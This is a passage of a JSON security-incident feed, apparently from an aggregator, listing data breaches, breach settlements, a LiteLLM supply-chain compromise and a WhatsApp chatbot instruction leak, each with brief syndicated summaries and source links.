Self-Rebuilding macOS Ransomware appeared first on SecurityWeek .","detail":"Noteworthy stories that might have slipped under the radar: Russia’s APT28 hit NATO defense firms, PingCAP source code stolen, ShinyHunters negotiator probe.\n\n The post In Other News: Tor Exit Relays Hijacked, Banks Spot Rogue AI Agents, Self-Rebuilding macOS Ransomware appeared first on SecurityWeek .\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-23T14:23:37.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":["Apple macOS"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"autonomous","evidence":"reported","explanation":"The source describes an AI system taking this action itself, not an outside attacker. SecurityWeek reports this; it is not independently confirmed here.","sourceUrl":"https://www.securityweek.com/in-other-news-tor-exit-relays-hijacked-banks-spot-rogue-ai-agents-self-rebuilding-macos-ransomware/"},"sources":[{"name":"SecurityWeek: In Other News: Tor Exit Relays Hijacked, Banks Spot Rogue AI Agents, Self-Rebuilding macOS Ransomware","url":"https://www.securityweek.com/in-other-news-tor-exit-relays-hijacked-banks-spot-rogue-ai-agents-self-rebuilding-macos-ransomware/","type":"reporting","publishedAt":"2026-10-23T14:23:37.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"SecurityWeek syndication feed","url":"https://www.securityweek.com/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"hipaajournal-washington-gastroenterology-data-breach-settlement-bfd4997ea0b7","cveId":null,"aliases":[],"kind":"breach","title":"Washington Gastroenterology Pays $4.6 Million to Settle Data Breach Lawsuit","summary":"Washington Gastroenterology has agreed to pay $4,600,000 to settle class action litigation stemming from a cybersecurity incident that was identified […]\n\n The post Washington Gastroenterology Pays $4.6 Million to Settle Data Breach Lawsuit appeared first on The HIPAA Journal .","detail":"Washington Gastroenterology has agreed to pay $4,600,000 to settle class action litigation stemming from a cybersecurity incident that was identified […]\n\n The post Washington Gastroenterology Pays $4.6 Million to Settle Data Breach Lawsuit appeared first on The HIPAA Journal .\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Review the reporting article and any linked primary disclosure before taking incident-specific action.","publishedAt":"2026-10-23T12:34:45.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The HIPAA Journal: Washington Gastroenterology Pays $4.6 Million to Settle Data Breach Lawsuit","url":"https://www.hipaajournal.com/washington-gastroenterology-data-breach-settlement/","type":"reporting","publishedAt":"2026-10-23T12:34:45.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The article reports a disclosed incident. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The HIPAA Journal syndication feed","url":"https://www.hipaajournal.com/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hipaajournal-ultramobile-imaging-artistic-smiles-parkview-health-data-breaches-47fadc4e4017","cveId":null,"aliases":[],"kind":"breach","title":"UltraMobile Imaging Identifies Data Breach Impacting 75,000 Individuals","summary":"Data breaches have been announced by UltraMobile Imaging in New York, Artistic Smiles in Colorado, Parkview Health in Indiana, and […]\n\n The post UltraMobile Imaging Identifies Data Breach Impacting 75,000 Individuals appeared first on The HIPAA Journal .","detail":"Data breaches have been announced by UltraMobile Imaging in New York, Artistic Smiles in Colorado, Parkview Health in Indiana, and […]\n\n The post UltraMobile Imaging Identifies Data Breach Impacting 75,000 Individuals appeared first on The HIPAA Journal .\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Review the reporting article and any linked primary disclosure before taking incident-specific action.","publishedAt":"2026-10-23T12:31:21.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The HIPAA Journal: UltraMobile Imaging Identifies Data Breach Impacting 75,000 Individuals","url":"https://www.hipaajournal.com/ultramobile-imaging-artistic-smiles-parkview-health-data-breaches/","type":"reporting","publishedAt":"2026-10-23T12:31:21.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The article reports a disclosed incident. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The HIPAA Journal syndication feed","url":"https://www.hipaajournal.com/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hipaajournal-data-breach-new-york-law-firm-eff0d15937c9","cveId":null,"aliases":[],"kind":"breach","title":"Data Breach at Manhattan Law Firm Involved PHI of 197,000 Individuals","summary":"The law firm Tarter Krinsky & Drogin has reported a breach of the protected health information of 196,645 patients of […]\n\n The post Data Breach at Manhattan Law Firm Involved PHI of 197,000 Individuals appeared first on The HIPAA Journal .","detail":"The law firm Tarter Krinsky & Drogin has reported a breach of the protected health information of 196,645 patients of […]\n\n The post Data Breach at Manhattan Law Firm Involved PHI of 197,000 Individuals appeared first on The HIPAA Journal .\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Review the reporting article and any linked primary disclosure before taking incident-specific action.","publishedAt":"2026-10-23T10:00:01.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The HIPAA Journal: Data Breach at Manhattan Law Firm Involved PHI of 197,000 Individuals","url":"https://www.hipaajournal.com/data-breach-new-york-law-firm/","type":"reporting","publishedAt":"2026-10-23T10:00:01.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The article reports a disclosed incident. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The HIPAA Journal syndication feed","url":"https://www.hipaajournal.com/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hipaajournal-ridgeway-pharmacy-data-breach-8b09d939ae4d","cveId":null,"aliases":[],"kind":"breach","title":"Ridgeway Pharmacy Data Breach Affects 259,000 Individuals","summary":"A data breach at Ridgeway Pharmacy in Montana has affected almost 259,000 individuals. Data breaches have also been announced by […]\n\n The post Ridgeway Pharmacy Data Breach Affects 259,000 Individuals appeared first on The HIPAA Journal .","detail":"A data breach at Ridgeway Pharmacy in Montana has affected almost 259,000 individuals. Data breaches have also been announced by […]\n\n The post Ridgeway Pharmacy Data Breach Affects 259,000 Individuals appeared first on The HIPAA Journal .\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Review the reporting article and any linked primary disclosure before taking incident-specific action.","publishedAt":"2026-10-22T15:41:37.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The HIPAA Journal: Ridgeway Pharmacy Data Breach Affects 259,000 Individuals","url":"https://www.hipaajournal.com/ridgeway-pharmacy-data-breach/","type":"reporting","publishedAt":"2026-10-22T15:41:37.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The article reports a disclosed incident. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The HIPAA Journal syndication feed","url":"https://www.hipaajournal.com/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hipaajournal-innovative-renal-care-data-breach-settlement-770205529476","cveId":null,"aliases":[],"kind":"breach","title":"Innovative Renal Care Pays $900,000 to Settle Data Breach Litigation","summary":"American Renal Management LLC, doing business as Innovative Renal Care, a kidney care specialist with more than 200 locations in […]\n\n The post Innovative Renal Care Pays $900,000 to Settle Data Breach Litigation appeared first on The HIPAA Journal .","detail":"American Renal Management LLC, doing business as Innovative Renal Care, a kidney care specialist with more than 200 locations in […]\n\n The post Innovative Renal Care Pays $900,000 to Settle Data Breach Litigation appeared first on The HIPAA Journal .\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Review the reporting article and any linked primary disclosure before taking incident-specific action.","publishedAt":"2026-10-22T14:13:15.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The HIPAA Journal: Innovative Renal Care Pays $900,000 to Settle Data Breach Litigation","url":"https://www.hipaajournal.com/innovative-renal-care-data-breach-settlement/","type":"reporting","publishedAt":"2026-10-22T14:13:15.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The article reports a disclosed incident. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The HIPAA Journal syndication feed","url":"https://www.hipaajournal.com/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"thehackernews-litellm-compromised-in-supply-chain-d9304dd4f7f5","cveId":null,"aliases":[],"kind":"ai-incident","title":"LiteLLM Compromised in Supply Chain Attack Delivering Credential Stealer and Backdoor","summary":"The popular LiteLLM Python package has been compromised as part of a software supply chain attack that delivered a credential stealer and a backdoor, according to reports from SafeDep, Socket, StepSecurity, and Upwind.\n\nThe compromise affects LiteLLM 1.107.0, distributed through PyPI wheels and Docker images. The Python package has since been quarantined on Python Package Index (PyPI), and the","detail":"The popular LiteLLM Python package has been compromised as part of a software supply chain attack that delivered a credential stealer and a backdoor, according to reports from SafeDep, Socket, StepSecurity, and Upwind.\n\nThe compromise affects LiteLLM 1.107.0, distributed through PyPI wheels and Docker images. The Python package has since been quarantined on Python Package Index (PyPI), and the\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-21T18:01:57.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":["LiteLLM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"infrastructure","evidence":"reported","explanation":"The source describes a flaw in, or an attack on, an AI system. This alone does not show attackers used AI. The Hacker News reports this; it is not independently confirmed here.","sourceUrl":"https://thehackernews.com/2026/10/litellm-compromised-in-supply-chain.html"},"sources":[{"name":"The Hacker News: LiteLLM Compromised in Supply Chain Attack Delivering Credential Stealer and Backdoor","url":"https://thehackernews.com/2026/10/litellm-compromised-in-supply-chain.html","type":"reporting","publishedAt":"2026-10-21T18:01:57.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"databreaches-welsh-firms-password1-and-test-2-fails-led-to-hackers-stealing-childrens-data-8e01e4fbe840","cveId":null,"aliases":[],"kind":"breach","title":"Welsh firms ‘Password1’ and ‘Test 2’ fails led to hackers stealing children’s data","summary":"Alex Hickey reports: Two Welsh organisations have been censured by the Information Commissioner’s Office (ICO) after a ransomware attack led to the theft of personal data belonging to 3,300 individuals, the vast majority of whom were children. Ogi Networks Limited (ONL) and the Local Government Data Unit – Wales, known as Data Cymru, received reprimands...\n Source","detail":"Alex Hickey reports: Two Welsh organisations have been censured by the Information Commissioner’s Office (ICO) after a ransomware attack led to the theft of personal data belonging to 3,300 individuals, the vast majority of whom were children. Ogi Networks Limited (ONL) and the Local Government Data Unit – Wales, known as Data Cymru, received reprimands...\n Source\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Review the reporting article and any linked primary disclosure before taking incident-specific action.","publishedAt":"2026-10-20T13:28:52.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"DataBreaches.net: Welsh firms ‘Password1’ and ‘Test 2’ fails led to hackers stealing children’s data","url":"https://databreaches.net/2026/10/20/welsh-firms-password1-and-test-2-fails-led-to-hackers-stealing-childrens-data/","type":"reporting","publishedAt":"2026-10-20T13:28:52.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The article reports a disclosed incident. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"DataBreaches.net syndication feed","url":"https://databreaches.net/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"databreaches-attorney-general-tong-announces-625000-settlement-with-frontier-over-data-breach-777337d44e7f","cveId":null,"aliases":[],"kind":"breach","title":"Attorney General Tong Announces $625,000 Settlement with Frontier Over Data Breach","summary":"Connecticut Attorney General William Tong has been active in litigating data breaches. The press release below relates to a 2024 breach of Frontier Communications by RansomHub: Attorney General William Tong today announced a $625,000 settlement with Frontier Communications Parent Inc., resolving an investigation into an April 2024 data breach that compromised the sensitive personal information,...\n Source","detail":"Connecticut Attorney General William Tong has been active in litigating data breaches. The press release below relates to a 2024 breach of Frontier Communications by RansomHub: Attorney General William Tong today announced a $625,000 settlement with Frontier Communications Parent Inc., resolving an investigation into an April 2024 data breach that compromised the sensitive personal information,...\n Source\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Review the reporting article and any linked primary disclosure before taking incident-specific action.","publishedAt":"2026-10-20T13:17:31.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"DataBreaches.net: Attorney General Tong Announces $625,000 Settlement with Frontier Over Data Breach","url":"https://databreaches.net/2026/10/20/attorney-general-tong-announces-625000-settlement-with-frontier-over-data-breach/","type":"reporting","publishedAt":"2026-10-20T13:17:31.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The article reports a disclosed incident. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"DataBreaches.net syndication feed","url":"https://databreaches.net/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"databreaches-suspected-cyber-incident-blocks-parkview-health-patient-portal-in-indiana-and-ohio-9992e08a4c02","cveId":null,"aliases":[],"kind":"breach","title":"Suspected cyber incident blocks Parkview Health patient portal in Indiana and Ohio","summary":"DysruptionHub reports: The health system disabled its network after suspicious activity, leaving MyChart and doctor searches unavailable and directing urgent medical needs to phone calls or walk-in clinics. A suspected cyber incident left Parkview Health patients without MyChart and online doctor searches Monday after the Indiana-based health system disabled its network in response to suspicious...\n Source","detail":"DysruptionHub reports: The health system disabled its network after suspicious activity, leaving MyChart and doctor searches unavailable and directing urgent medical needs to phone calls or walk-in clinics. A suspected cyber incident left Parkview Health patients without MyChart and online doctor searches Monday after the Indiana-based health system disabled its network in response to suspicious...\n Source\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Review the reporting article and any linked primary disclosure before taking incident-specific action.","publishedAt":"2026-10-20T12:45:39.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"DataBreaches.net: Suspected cyber incident blocks Parkview Health patient portal in Indiana and Ohio","url":"https://databreaches.net/2026/10/20/suspected-cyber-incident-blocks-parkview-health-patient-portal-in-indiana-and-ohio/","type":"reporting","publishedAt":"2026-10-20T12:45:39.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The article reports a disclosed incident. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"DataBreaches.net syndication feed","url":"https://databreaches.net/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"wired-whatsapp-help-pages-leaked-hidden-instructions-for-a-meta-chatbot-2441be7c1a84","cveId":null,"aliases":[],"kind":"ai-incident","title":"WhatsApp Help Pages Leaked Hidden Instructions for a Meta Chatbot","summary":"Around 80 pages on WhatsApp’s website exposed instructions that were designed for its chatbot, including “WHAT NOT TO SAY.” Meta says a bug caused the issue.","detail":"Around 80 pages on WhatsApp’s website exposed instructions that were designed for its chatbot, including “WHAT NOT TO SAY.” Meta says a bug caused the issue.\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-19T16:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"WIRED Security: WhatsApp Help Pages Leaked Hidden Instructions for a Meta Chatbot","url":"https://www.wired.com/story/whatsapp-help-pages-leaked-hidden-instructions-for-a-meta-chatbot/","type":"reporting","publishedAt":"2026-10-19T16:00:00.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"WIRED Security syndication feed","url":"https://www.wired.com/feed/category/security/latest/rss","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"hibp-gitesdefrance","cveId":null,"aliases":["GitesDeFrance"],"kind":"breach","title":"Gîtes de France breach: 117,574 accounts exposed","summary":"In May 2026, the French holiday rental network Gîtes de France suffered a data breach affecting some of its departmental branches. The incident exposed hundreds of thousands of customer records, including 118k unique email addresses alongside names, phone numbers, postal addresses and booking details.","detail":"Verified by Have I Been Pwned. Breach date: 2026-05-16; loaded 2026-10-18. Exposed data: Booking details, Email addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-10-18T04:50:13.000Z","updatedAt":"2026-10-18T04:50:13.000Z","regions":["Global"],"vendor":"gites-de-france.com","product":null,"stacks":["Gites-de-france.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Gîtes de France","url":"https://haveibeenpwned.com/Breach/GitesDeFrance","type":"primary","publishedAt":"2026-10-18T04:50:13.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"databreaches-ny-ag-james-and-ct-ag-tong-secure-2-7-million-from-boston-childrens-health-physicians-and-xtium-for--4d02691b2b96","cveId":null,"aliases":[],"kind":"breach","title":"NY AG James and CT AG Tong Secure $2.7 Million from Boston Children’s Health Physicians and XTIUM for 2024 Data Breach","summary":"NY’s Attorney General and CT’s Attorney General held both a provider and its IT company liable for a data breach. The settlement also includes a corrective action plan to improve data security.  New York Attorney General Letitia James and Connecticut Attorney General William Tong today secured $2.7 million from Boston Children’s Health Physicians (BCHP), a...\n Source","detail":"NY’s Attorney General and CT’s Attorney General held both a provider and its IT company liable for a data breach. The settlement also includes a corrective action plan to improve data security.  New York Attorney General Letitia James and Connecticut Attorney General William Tong today secured $2.7 million from Boston Children’s Health Physicians (BCHP), a...\n Source\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Review the reporting article and any linked primary disclosure before taking incident-specific action.","publishedAt":"2026-10-17T22:22:10.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"DataBreaches.net: NY AG James and CT AG Tong Secure $2.7 Million from Boston Children’s Health Physicians and XTIUM for 2024 Data Breach","url":"https://databreaches.net/2026/10/17/ny-ag-james-and-ct-ag-tong-secure-2-7-million-from-boston-childrens-health-physicians-and-xtium-for-2024-data-breach/","type":"reporting","publishedAt":"2026-10-17T22:22:10.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The article reports a disclosed incident. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"DataBreaches.net syndication feed","url":"https://databreaches.net/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"hibp-crunchbase","cveId":null,"aliases":["Crunchbase"],"kind":"breach","title":"Crunchbase breach: 559,908 accounts exposed","summary":"In January 2026, the private company intelligence platform Crunchbase was targeted in a ShinyHunters \"pay or leak\" extortion attempt . Data allegedly obtained from the company was subsequently published publicly and included 560k unique email addresses, largely belonging to leads and business contacts. Other data included names, physical addresses, phone numbers, job titles, employers and LinkedIn profiles. Crunchbase later confirmed that a threat actor had exfiltrated documents from its corporate network.","detail":"Verified by Have I Been Pwned. Breach date: 2026-01-22; loaded 2026-10-14. Exposed data: Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Social media profiles. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-10-14T06:01:26.000Z","updatedAt":"2026-10-14T06:01:26.000Z","regions":["Global"],"vendor":"crunchbase.com","product":null,"stacks":["Crunchbase.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Crunchbase","url":"https://haveibeenpwned.com/Breach/Crunchbase","type":"primary","publishedAt":"2026-10-14T06:01:26.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-sharecare","cveId":null,"aliases":["Sharecare"],"kind":"breach","title":"Sharecare breach: 318,185 accounts exposed","summary":"In August 2026, the digital health company Sharecare was the target of a ShinyHunters \"pay or leak\" extortion campaign . The group subsequently published data it claimed was taken from Sharecare's systems, containing 318k unique email addresses. Most of the data consisted of B2B sales and marketing records with names, physical addresses, phone numbers, job titles and employers. The data also included a small number of Brazilian health insurance plan members, including dates of birth, genders, marital statuses and CPF numbers (Brazilian taxpayer identification numbers).","detail":"Verified by Have I Been Pwned. Breach date: 2026-08-12; loaded 2026-10-12. Exposed data: Dates of birth, Email addresses, Employers, Genders, Government issued IDs, Job titles, Marital statuses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-10-12T23:28:32.000Z","updatedAt":"2026-10-12T23:28:32.000Z","regions":["Global"],"vendor":"sharecare.com","product":null,"stacks":["Sharecare.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Sharecare","url":"https://haveibeenpwned.com/Breach/Sharecare","type":"primary","publishedAt":"2026-10-12T23:28:32.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-neogen","cveId":null,"aliases":["Neogen"],"kind":"breach","title":"Neogen breach: 435,963 accounts exposed","summary":"In August 2026, the food and animal safety organisation Neogen was the target of a ShinyHunters \"pay or leak\" extortion attempt . The group later published data it claimed had been obtained from Neogen. The data consisted largely of corporate contact records and included 436k unique email addresses from mailing lists, employee records and other contacts.","detail":"Verified by Have I Been Pwned. Breach date: 2026-08-29; loaded 2026-10-09. Exposed data: Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Salutations. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-10-09T07:06:25.000Z","updatedAt":"2026-10-09T07:06:25.000Z","regions":["Global"],"vendor":"neogen.com","product":null,"stacks":["Neogen.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Neogen","url":"https://haveibeenpwned.com/Breach/Neogen","type":"primary","publishedAt":"2026-10-09T07:06:25.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this 